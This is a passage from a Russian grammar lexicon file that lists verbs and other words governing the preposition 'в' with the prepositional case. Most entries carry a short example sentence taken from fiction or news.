rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло.
rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ)
rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ)
rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ)
rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ)
rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ)
rus_verbs:ЗАМАЯЧИТЬ{},
rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ)
rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ)
rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ)
rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ)
rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ)
rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ)
rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ)
rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ)
rus_verbs:ПоТЕРЯТЬ{},
rus_verbs:УТЕРЯТЬ{},
rus_verbs:РАСТЕРЯТЬ{},
rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.)
rus_verbs:СОМКНУТЬСЯ{},
rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ)
rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ)
rus_verbs:ВЫСТОЯТЬ{},
rus_verbs:ПОСТОЯТЬ{},
rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ)
rus_verbs:ВЗВЕШИВАТЬ{},
rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ)
прилагательное:быстрый{}, // Кисель быстр в приготовлении
rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень
rus_verbs:призывать{},
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ)
rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ)
rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ)
rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ)
rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ)
rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ)
rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ)
rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ)
rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ)
rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ)
rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ)
rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения
rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ)
rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ)
rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ)
rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ)
rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ)
rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ)
rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ)
rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ)
rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ)
rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ)
rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ)
rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА
rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ)
rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ)
rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ)
rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ)
rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ)
rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль
rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение
rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ)
инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан
глагол:проводить{ вид:несоверш },
деепричастие:проводя{},
rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала
rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл)
rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл)
rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл)
rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл)
rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл)
rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл)
rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл)
rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл)
rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл)
rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл)
rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл)
rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл)
rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл)
rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл)
прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В)
rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл)
rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл)
rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл)
rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл)
rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл)
rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл)
rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл)
rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл)
rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В)
rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В)
rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл)
rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В)
rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл)
rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл)
rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В)
rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл)
rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл)
rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В)
rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл)
rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В)
rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В)
rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В)
rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В)
rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл)
rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В)
частица:нет{}, // В этом нет сомнения.
частица:нету{}, // В этом нету сомнения.
rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем
rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов.
прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В)
rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В)
rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В)
rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В)
rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл)
rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В)
rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в)
rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В)
rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В)
rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В)
rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В)
rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В)
rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В)
rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В)
rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В)
rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В)
rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В)
rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В)
rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В)
rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В)
rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:РАСКЛАДЫВАТЬСЯ{},
rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В)
rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В)
rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В)
rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В)
rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл)
rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В)
rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В)
инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В)
глагол:НАПИСАТЬ{ aux stress="напис^ать" },
прилагательное:НАПИСАННЫЙ{},
rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В)
rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В)
rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В)
rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В)
rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В)
rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В)
rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл)
rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл)
rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В)
безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в)
rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В)
rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В)
rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В)
rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В)
rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В)
rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В)
rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В)
rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В)
rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В)
rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В)
rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В)
rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В)
rus_verbs:объявить{}, // В газете объявили о конкурсе.
rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В)
rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В)
rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в)
rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в)
rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в)
rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в)
инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В)
глагол:ПАРИТЬ{ aux stress="пар^ить"},
деепричастие:паря{ aux stress="пар^я" },
прилагательное:ПАРЯЩИЙ{},
прилагательное:ПАРИВШИЙ{},
rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В)
rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В)
rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в)
rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В)
rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В)
rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В)
rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В)
rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В)
rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В)
rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в)
rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в)
rus_verbs:принять{}, // Документ принят в следующей редакции (принять в)
rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в)
rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В)
rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в)
rus_verbs:звучать{}, // в доме звучала музыка (звучать в)
rus_verbs:колебаться{}, // колеблется в выборе (колебаться в)
rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в)
rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в)
rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в)
rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в)
rus_verbs:вычитывать{}, // вычитывать в книге
rus_verbs:гудеть{}, // У него в ушах гудит.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки.
rus_verbs:разойтись{}, // Они разошлись в темноте.
rus_verbs:прибежать{}, // Мальчик прибежал в слезах.
rus_verbs:биться{}, // Она билась в истерике.
rus_verbs:регистрироваться{}, // регистрироваться в системе
rus_verbs:считать{}, // я буду считать в уме
rus_verbs:трахаться{}, // трахаться в гамаке
rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке
rus_verbs:разрушать{}, // разрушать в дробилке
rus_verbs:засидеться{}, // засидеться в гостях
rus_verbs:засиживаться{}, // засиживаться в гостях
rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке)
rus_verbs:навестить{}, // навестить в доме престарелых
rus_verbs:запомнить{}, // запомнить в кэше
rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.)
rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка)
rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику.
rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.)
rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу
rus_verbs:оглядываться{}, // оглядываться в зеркале
rus_verbs:нарисовать{}, // нарисовать в тетрадке
rus_verbs:пробить{}, // пробить отверствие в стене
rus_verbs:повертеть{}, // повертеть в руке
rus_verbs:вертеть{}, // Я вертел в руках
rus_verbs:рваться{}, // Веревка рвется в месте надреза
rus_verbs:распространяться{}, // распространяться в среде наркоманов
rus_verbs:попрощаться{}, // попрощаться в здании морга
rus_verbs:соображать{}, // соображать в уме
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати
rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот)
rus_verbs:разобрать{}, // разобрать в гараже
rus_verbs:помереть{}, // помереть в пути
rus_verbs:различить{}, // различить в темноте
rus_verbs:рисовать{}, // рисовать в графическом редакторе
rus_verbs:проследить{}, // проследить в записях камер слежения
rus_verbs:совершаться{}, // Правосудие совершается в суде
rus_verbs:задремать{}, // задремать в кровати
rus_verbs:ругаться{}, // ругаться в комнате
rus_verbs:зазвучать{}, // зазвучать в радиоприемниках
rus_verbs:задохнуться{}, // задохнуться в воде
rus_verbs:порождать{}, // порождать в неокрепших умах
rus_verbs:отдыхать{}, // отдыхать в санатории
rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении
rus_verbs:образовать{}, // образовать в пробирке темную взвесь
rus_verbs:отмечать{}, // отмечать в списке
rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте
rus_verbs:плясать{}, // плясать в откружении незнакомых людей
rus_verbs:повысить{}, // повысить в звании
rus_verbs:поджидать{}, // поджидать в подъезде
rus_verbs:отказать{}, // отказать в пересмотре дела
rus_verbs:раствориться{}, // раствориться в бензине
rus_verbs:отражать{}, // отражать в стихах
rus_verbs:дремать{}, // дремать в гамаке
rus_verbs:применяться{}, // применяться в домашних условиях
rus_verbs:присниться{}, // присниться во сне
rus_verbs:трястись{}, // трястись в драндулете
rus_verbs:сохранять{}, // сохранять в неприкосновенности
rus_verbs:расстрелять{}, // расстрелять в ложбине
rus_verbs:рассчитать{}, // рассчитать в программе
rus_verbs:перебирать{}, // перебирать в руке
rus_verbs:разбиться{}, // разбиться в аварии
rus_verbs:поискать{}, // поискать в углу
rus_verbs:мучиться{}, // мучиться в тесной клетке
rus_verbs:замелькать{}, // замелькать в телевизоре
rus_verbs:грустить{}, // грустить в одиночестве
rus_verbs:крутить{}, // крутить в банке
rus_verbs:объявиться{}, // объявиться в городе
rus_verbs:подготовить{}, // подготовить в тайне
rus_verbs:различать{}, // различать в смеси
rus_verbs:обнаруживать{}, // обнаруживать в крови
rus_verbs:киснуть{}, // киснуть в захолустье
rus_verbs:оборваться{}, // оборваться в начале фразы
rus_verbs:запутаться{}, // запутаться в веревках
rus_verbs:общаться{}, // общаться в интимной обстановке
rus_verbs:сочинить{}, // сочинить в ресторане
rus_verbs:изобрести{}, // изобрести в домашней лаборатории
rus_verbs:прокомментировать{}, // прокомментировать в своем блоге
rus_verbs:давить{}, // давить в зародыше
rus_verbs:повториться{}, // повториться в новом обличье
rus_verbs:отставать{}, // отставать в общем зачете
rus_verbs:разработать{}, // разработать в лаборатории
rus_verbs:качать{}, // качать в кроватке
rus_verbs:заменить{}, // заменить в двигателе
rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере
rus_verbs:забегать{}, // забегать в спешке
rus_verbs:наделать{}, // наделать в решении ошибок
rus_verbs:исказиться{}, // исказиться в кривом зеркале
rus_verbs:тушить{}, // тушить в помещении пожар
rus_verbs:охранять{}, // охранять в здании входы
rus_verbs:приметить{}, // приметить в кустах
rus_verbs:скрыть{}, // скрыть в складках одежды
rus_verbs:удерживать{}, // удерживать в заложниках
rus_verbs:увеличиваться{}, // увеличиваться в размере
rus_verbs:красоваться{}, // красоваться в новом платье
rus_verbs:сохраниться{}, // сохраниться в тепле
rus_verbs:лечить{}, // лечить в стационаре
rus_verbs:смешаться{}, // смешаться в баке
rus_verbs:прокатиться{}, // прокатиться в троллейбусе
rus_verbs:договариваться{}, // договариваться в закрытом кабинете
rus_verbs:опубликовать{}, // опубликовать в официальном блоге
rus_verbs:охотиться{}, // охотиться в прериях
rus_verbs:отражаться{}, // отражаться в окне
rus_verbs:понизить{}, // понизить в должности
rus_verbs:обедать{}, // обедать в ресторане
rus_verbs:посидеть{}, // посидеть в тени
rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете
rus_verbs:свершиться{}, // свершиться в суде
rus_verbs:ночевать{}, // ночевать в гостинице
rus_verbs:темнеть{}, // темнеть в воде
rus_verbs:гибнуть{}, // гибнуть в застенках
rus_verbs:усиливаться{}, // усиливаться в направлении главного удара
rus_verbs:расплыться{}, // расплыться в улыбке
rus_verbs:превышать{}, // превышать в несколько раз
rus_verbs:проживать{}, // проживать в отдельной коморке
rus_verbs:голубеть{}, // голубеть в тепле
rus_verbs:исследовать{}, // исследовать в естественных условиях
rus_verbs:обитать{}, // обитать в лесу
rus_verbs:скучать{}, // скучать в одиночестве
rus_verbs:сталкиваться{}, // сталкиваться в воздухе
rus_verbs:таиться{}, // таиться в глубине
rus_verbs:спасать{}, // спасать в море
